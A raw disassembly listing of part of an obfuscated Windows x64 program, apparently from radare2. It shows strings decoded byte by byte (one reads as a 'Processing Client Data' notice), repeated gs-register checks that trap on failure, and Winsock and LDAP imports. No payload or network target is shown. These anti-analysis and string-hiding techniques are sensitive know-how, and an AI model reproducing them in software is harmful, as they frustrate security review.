mov ecx, r15d
call fcn.140092918
int3
mov rax, qword gs:[0x1f]
movabs rbx, 0x18ec4a904d81a114
cmp rax, rdi
jne 0x14000d48f
mov rax, qword gs:[0x42]
xor rax, rbx
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, rbx
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, rbx
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000d46f
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000d46f
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000d48f
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0x1f]
cmp rax, rdi
jne 0x14000d554
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x349534e4
div rcx
mov qword [rbp + 0x1020], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x4efb4758
div rcx
mov qword [rbp + 0x1028], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x577f633f
div rcx
mov qword [rbp + 0x1030], rdx
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000d534
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000d534
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000d554
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov rax, qword gs:[0x1f]
cmp rax, rdi
jne 0x14000d5fe
mov rax, qword gs:[0x42]
xor rax, rbx
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, rbx
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, rbx
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000d5de
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000d5de
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000d5fe
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov rax, qword gs:[0x1f]
cmp rax, rdi
jne 0x14000d6a8
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000d688
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000d688
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000d6a8
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov rax, qword gs:[0x1f]
cmp rax, rdi
jne 0x14000d767
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x349534e4
div rcx
mov qword [rbp + 0x1020], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x4efb4758
div rcx
mov qword [rbp + 0x1028], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x577f633f
div rcx
mov qword [rbp + 0x1030], rdx
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000d747
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000d747
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000d767
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
xor ecx, ecx
call fcn.140093ce4
mov rbx, rax
mov byte [rbp - 0x24], Ordinal_41
mov edi, 1
mov r9d, edi
xor r8d, r8d
mov dl, WSAStartup
lea rcx, [rbp - 0x24]
call fcn.14002e174
mov byte [rbp - 0x23], al
xor ecx, ecx
mov byte [rbp - 0x22], cl
mov r9d, edi
xor r8d, r8d
mov dl, al
lea rcx, [rbp - 0x24]
call fcn.14002cf0c
mov byte [rbp - 0x23], al
mov byte [rbp - 0x22], sil
mov byte [rbp - 0x10], reloc.WLDAP32.dll_Ordinal_26
mov edi, 6
mov r9d, edi
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp - 0x10]
call fcn.14002ce18
mov byte [rbp - 0xf], al
mov r9d, edi
lea esi, [rdi - 5]
mov r8d, esi
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp - 0x10]
call fcn.14002ce18
mov byte [rbp - 0xe], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, Ordinal_79
lea rcx, [rbp - 0x10]
call fcn.14002ce18
mov byte [rbp - 0xd], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x49
lea rcx, [rbp - 0x10]
call fcn.14002ce18
mov byte [rbp - 0xc], al
mov r9d, edi
mov r8, r14
mov dl, Ordinal_79
lea rcx, [rbp - 0x10]
call fcn.14002ce18
mov byte [rbp - 0xb], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, 0x24
lea rcx, [rbp - 0x10]
call fcn.14002ce18
mov byte [rbp - 0xa], al
xor eax, eax
mov byte [rbp - 9], al
mov edi, eax
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0xf]
lea rcx, [rbp - 0x10]
call fcn.14002ce18
mov byte [rbp + rdi - 0xf], al
add rdi, rsi
cmp rdi, 6
jb 0x14000d839
xor edi, edi
mov byte [rbp - 9], dil
mov r9, rbx
lea r8, [rbp - 0x23]
lea rdx, [rbp - 0xf]
lea rcx, [rbp + 0xf18]
call fcn.1400971b0
mov rax, qword gs:[0x1f]
mov edx, 0xe393fb62
cmp rax, rdx
jne 0x14000d932
mov rax, qword gs:[0x42]
movabs rcx, 0x18ec4a904d81a114
xor rax, rcx
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000d912
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000d912
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000d932
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov rax, qword gs:[0x1f]
cmp rax, rdx
jne 0x14000d9f1
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x349534e4
div rcx
mov qword [rbp + 0x1020], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x4efb4758
div rcx
mov qword [rbp + 0x1028], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x577f633f
div rcx
mov qword [rbp + 0x1030], rdx
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000d9d1
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000d9d1
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000d9f1
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov ecx, 2
call fcn.140093ce4
mov rbx, rax
mov byte [rbp - 0x20], reloc.WLDAP32.dll_Ordinal_22
mov r9, rsi
xor r8d, r8d
mov dl, 0x77
lea rcx, [rbp - 0x20]
call fcn.14002e174
mov byte [rbp - 0x1f], al
xor ecx, ecx
mov byte [rbp - 0x1e], cl
mov r9, rsi
xor r8d, r8d
mov dl, al
lea rcx, [rbp - 0x20]
call fcn.14002cf0c
mov byte [rbp - 0x1f], al
mov byte [rbp - 0x1e], dil
mov byte [rbp + 0x10], reloc.WS2_32.dll_WSACleanup
mov r9, r12
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp + 0x10]
call fcn.14002cf70
mov byte [rbp + 0x11], al
mov r9, r12
mov r8, rsi
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x10]
call fcn.14002cf70
mov byte [rbp + 0x12], al
mov r9, r12
mov r8d, 2
mov dl, Ordinal_79
lea rcx, [rbp + 0x10]
call fcn.14002cf70
mov byte [rbp + 0x13], al
mov r9, r12
mov r8d, 3
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x10]
call fcn.14002cf70
mov byte [rbp + 0x14], al
mov r9, r12
mov r8, r14
mov dl, 0x55
lea rcx, [rbp + 0x10]
call fcn.14002cf70
mov byte [rbp + 0x15], al
mov r9, r12
mov r8d, 5
mov dl, 0x54
lea rcx, [rbp + 0x10]
call fcn.14002cf70
mov byte [rbp + 0x16], al
mov r9, r12
mov r8d, 6
mov dl, 0x24
lea rcx, [rbp + 0x10]
call fcn.14002cf70
mov byte [rbp + 0x17], al
xor eax, eax
mov byte [rbp + 0x18], al
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x11]
lea rcx, [rbp + 0x10]
call fcn.14002cf70
mov byte [rbp + rdi + 0x11], al
add rdi, rsi
cmp rdi, r12
jb 0x14000dad4
xor edi, edi
mov byte [rbp + 0x18], dil
mov r9, rbx
lea r8, [rbp - 0x1f]
lea rdx, [rbp + 0x11]
lea rcx, [rbp + 0xf18]
call fcn.1400971b0
mov rax, qword gs:[0x1f]
mov edx, 0xe393fb62
cmp rax, rdx
jne 0x14000dbc9
mov rax, qword gs:[0x42]
movabs rcx, 0x18ec4a904d81a114
xor rax, rcx
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000dba9
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000dba9
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000dbc9
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov rax, qword gs:[0x1f]
cmp rax, rdx
jne 0x14000dc73
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000dc53
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000dc53
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000dc73
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov ecx, esi
call fcn.140093ce4
mov rbx, rax
mov byte [rbp - 0x1c], 0x5f
mov r9, rsi
xor r8d, r8d
mov dl, 0x77
lea rcx, [rbp - 0x1c]
call fcn.14002e174
mov byte [rbp - 0x1b], al
xor ecx, ecx
mov byte [rbp - 0x1a], cl
mov r9, rsi
xor r8d, r8d
mov dl, al
lea rcx, [rbp - 0x1c]
call fcn.14002cf0c
mov byte [rbp - 0x1b], al
mov byte [rbp - 0x1a], dil
mov byte [rbp + Ordinal_50], 0x30
mov r9, r12
xor r8d, r8d
mov dl, 0x43
lea rcx, [rbp + 0x30]
call fcn.14002cf70
mov byte [rbp + 0x31], al
mov r9, r12
mov r8, rsi
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x30]
call fcn.14002cf70
mov byte [rbp + 0x32], al
mov r9, r12
mov r8d, 2
mov dl, Ordinal_79
lea rcx, [rbp + 0x30]
call fcn.14002cf70
mov byte [rbp + 0x33], al
mov r9, r12
mov r8d, 3
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x30]
call fcn.14002cf70
mov byte [rbp + 0x34], al
mov r9, r12
mov r8, r14
mov dl, 0x55
lea rcx, [rbp + 0x30]
call fcn.14002cf70
mov byte [rbp + 0x35], al
mov r9, r12
mov r8d, 5
mov dl, 0x54
lea rcx, [rbp + 0x30]
call fcn.14002cf70
mov byte [rbp + 0x36], al
mov r9, r12
mov r8d, 6
mov dl, 0x24
lea rcx, [rbp + 0x30]
call fcn.14002cf70
mov byte [rbp + 0x37], al
xor eax, eax
mov byte [rbp + 0x38], al
mov r9, r12
mov r8, rdi
mov dl, byte [rbp + rdi + 0x31]
lea rcx, [rbp + 0x30]
call fcn.14002cf70
mov byte [rbp + rdi + 0x31], al
add rdi, rsi
cmp rdi, r12
jb 0x14000dd53
xor eax, eax
mov byte [rbp + 0x38], al
mov r9, rbx
lea r8, [rbp - 0x1b]
lea rdx, [rbp + 0x31]
lea rcx, [rbp + 0xf18]
call fcn.1400971b0
mov rax, qword gs:[0x1f]
mov edi, 0xe393fb62
cmp rax, rdi
jne 0x14000de52
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x349534e4
div rcx
mov qword [rbp + 0x1020], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x4efb4758
div rcx
mov qword [rbp + 0x1028], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x577f633f
div rcx
mov qword [rbp + 0x1030], rdx
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000de32
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000de32
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000de52
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov rax, qword gs:[0x1f]
cmp rax, rdi
jne 0x14000defc
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, r13
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000dedc
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000dedc
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000defc
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov byte [rbp + 0xbd0], 0x5f
mov edi, 0x3e
mov r9d, edi
xor r8d, r8d
mov dl, 0x50
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbd1], al
mov r9d, edi
mov r8, rsi
mov dl, WSAStartup
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbd2], al
mov r9d, edi
lea r8d, [rdi - 0x3c]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbd3], al
mov r9d, edi
lea r8d, [rdi - 0x3b]
mov dl, 0x63
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbd4], al
mov r9d, edi
mov r8, r14
mov dl, 0x65
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbd5], al
mov r9d, edi
lea r8d, [rdi - 0x39]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbd6], al
mov r9d, edi
lea r8d, [rdi - 0x38]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbd7], al
mov r9d, edi
mov r8, r12
mov dl, 0x69
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbd8], al
mov r9d, edi
lea r8d, [rdi - 0x36]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbd9], al
mov r9d, edi
mov r8, r15
mov dl, 0x67
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbda], al
mov r9d, edi
lea r8d, [rdi - 0x34]
lea r14d, [rdi - 0x1e]
mov dl, r14b
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbdb], al
mov r9d, edi
lea r8d, [rdi - 0x33]
mov dl, 0x43
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbdc], al
mov r9d, edi
lea r8d, [rdi - 0x32]
mov dl, 0x6c
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbdd], al
mov r9d, edi
lea r8d, [rdi - 0x31]
mov dl, 0x69
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbde], al
mov r9d, edi
lea r8d, [rdi - 0x30]
mov dl, 0x65
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbdf], al
mov r9d, edi
lea r8d, [rdi - 0x2f]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbe0], al
mov r9d, edi
lea r8d, [rdi - 0x2e]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbe1], al
mov r13d, edi
mov r9d, edi
lea r8d, [rdi - 0x2d]
mov dl, r14b
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbe2], al
mov r9d, edi
lea r8d, [rdi - 0x2c]
mov dl, 0x44
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbe3], al
mov r9d, edi
lea r12d, [rdi - 0x2b]
mov r8d, r12d
mov dl, 0x61
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbe4], al
mov r9d, edi
lea esi, [rdi - 0x2a]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbe5], al
mov r9d, edi
lea edi, [rsi + 1]
mov r8d, edi
mov dl, 0x61
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbe6], al
mov r9d, r13d
lea r8d, [r13 - 0x28]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbe7], al
mov r9d, r13d
lea r15d, [r13 - 0x27]
mov r8d, r15d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbe8], al
mov r9d, r13d
lea r8d, [r13 - 0x26]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbe9], al
mov r9d, r13d
lea r8d, [r13 - 0x25]
mov dl, r14b
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbea], al
mov r9d, r13d
lea r8d, [r13 - 0x24]
mov dl, Ordinal_41
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbeb], al
mov r9d, r13d
lea r8d, [r13 - 0x23]
mov dl, 0x57
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbec], al
mov r9d, r13d
lea r8d, [r13 - 0x22]
mov dl, 0x61
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbed], al
mov r9d, r13d
lea r8d, [r13 - 0x21]
mov dl, WSAStartup
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbee], al
mov r9d, r13d
lea r8d, [r13 - 0x20]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbef], al
mov r9d, r13d
lea r8d, [r13 - 0x1f]
mov dl, 0x69
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbf0], al
mov r9d, r13d
mov r8d, r14d
mov dl, WSAGetLastError
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbf1], al
mov r9d, r13d
lea r8d, [r13 - 0x1d]
mov dl, 0x67
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbf2], al
mov r9d, r13d
lea r8d, [r13 - 0x1c]
mov dl, 0x3a
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbf3], al
mov r9d, r13d
lea r8d, [r13 - 0x1b]
mov dl, r14b
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbf4], al
mov r9d, r13d
lea r8d, [r13 - 0x1a]
mov dl, 0x54
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbf5], al
mov r9d, r13d
lea r8d, [r13 - 0x19]
mov dl, 0x68
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbf6], al
mov r9d, r13d
lea r8d, [r13 - 0x18]
mov dl, 0x69
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbf7], al
mov r9d, r13d
lea r8d, [r13 - 0x17]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbf8], al
mov r9d, r13d
lea r8d, [r13 - 0x16]
mov dl, r14b
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbf9], al
mov r9d, r13d
lea r8d, [r13 - 0x15]
mov dl, 0x6d
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbfa], al
mov r9d, r13d
lea r8d, [r13 - 0x14]
mov dl, 0x69
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbfb], al
mov r9d, r13d
lea r8d, [r13 - 0x13]
mov dl, 0x67
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbfc], al
mov r9d, r13d
lea r8d, [r13 - 0x12]
mov dl, 0x68
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbfd], al
mov r9d, r13d
lea r8d, [r13 - 0x11]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbfe], al
mov r9d, r13d
lea r8d, [r13 - 0x10]
mov dl, r14b
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xbff], al
mov r9d, r13d
lea r8d, [r13 - 0xf]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xc00], al
mov r9d, r13d
lea r8d, [r13 - 0xe]
mov dl, 0x61
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xc01], al
mov r9d, r13d
lea r8d, [r13 - 0xd]
mov dl, 0x6b
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xc02], al
mov r9d, r13d
lea r8d, [r13 - 0xc]
mov dl, 0x65
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xc03], al
mov r9d, r13d
lea r8d, [r13 - 0xb]
mov dl, r14b
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xc04], al
mov r9d, r13d
lea r8d, [r13 - 0xa]
mov dl, 0x61
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xc05], al
mov r9d, r13d
lea r8d, [r13 - 9]
mov dl, r14b
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xc06], al
mov r9d, r13d
lea r8d, [r13 - 8]
mov dl, 0x77
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xc07], al
mov r9d, r13d
lea r8d, [r13 - 7]
mov dl, 0x68
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xc08], al
mov r9d, r13d
lea r8d, [r13 - 6]
mov dl, 0x69
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xc09], al
mov r9d, r13d
lea r8d, [r13 - 5]
mov dl, 0x6c
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xc0a], al
mov r9d, r13d
lea r8d, [r13 - 4]
mov dl, 0x65
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xc0b], al
mov r9d, r13d
lea r8d, [r13 - 3]
mov dl, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xc0c], al
mov r9d, r13d
lea r8d, [r13 - 2]
mov dl, reloc.WLDAP32.dll_Ordinal_41
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xc0d], al
mov r9d, r13d
lea edx, [rsi - 0xa]
lea r8d, [r13 - 1]
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + 0xc0e], al
xor eax, eax
mov byte [rbp + 0xc0f], al
mov r13d, eax
lea ebx, [rsi - 0x13]
mov r9d, 0x3e
mov r8, r13
mov dl, byte [rbp + r13 + 0xbd1]
lea rcx, [rbp + 0xbd0]
call fcn.14002c7f4
mov byte [rbp + r13 + 0xbd1], al
add r13, rbx
cmp r13, 0x3e
jb 0x14000e5b4
xor eax, eax
mov byte [rbp + 0xc0f], al
lea rcx, [rbp + 0xbd1]
call fcn.140002fd8
mov rax, qword gs:[0x1f]
mov edx, 0xe393fb62
cmp rax, rdx
mov ebx, reloc.WS2_32.dll_recvfrom
lea r13d, [rbx - 1]
jne 0x14000e6b8
mov rax, qword gs:[0x42]
movabs rcx, 0x18ec4a904d81a114
xor rax, rcx
mov qword [rbp + 0x1020], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1028], rax
mov rax, qword gs:[0x42]
xor rax, rcx
mov qword [rbp + 0x1030], rax
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000e698
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000e698
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000e6b8
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov rax, qword gs:[0x1f]
cmp rax, rdx
jne 0x14000e777
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x349534e4
div rcx
mov qword [rbp + 0x1020], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x4efb4758
div rcx
mov qword [rbp + 0x1028], rdx
mov rcx, qword gs:[0x42]
xor edx, edx
mov eax, 0x577f633f
div rcx
mov qword [rbp + 0x1030], rdx
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1020]
cmp rax, rcx
je 0x14000e757
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1028]
cmp rax, rcx
je 0x14000e757
mov rcx, qword gs:[0x42]
mov rax, qword [rbp + 0x1030]
cmp rax, rcx
jne 0x14000e777
mov rax, qword [rbp + 0x1030]
mov rdx, qword [rbp + 0x1028]
xor rdx, rax
mov rcx, qword [rbp + 0x1020]
xor ecx, edx
call fcn.140092918
int3
mov byte [rbp + 0xa58], 0x51
mov r9d, Ordinal_45
xor r8d, r8d
mov dl, 0x68
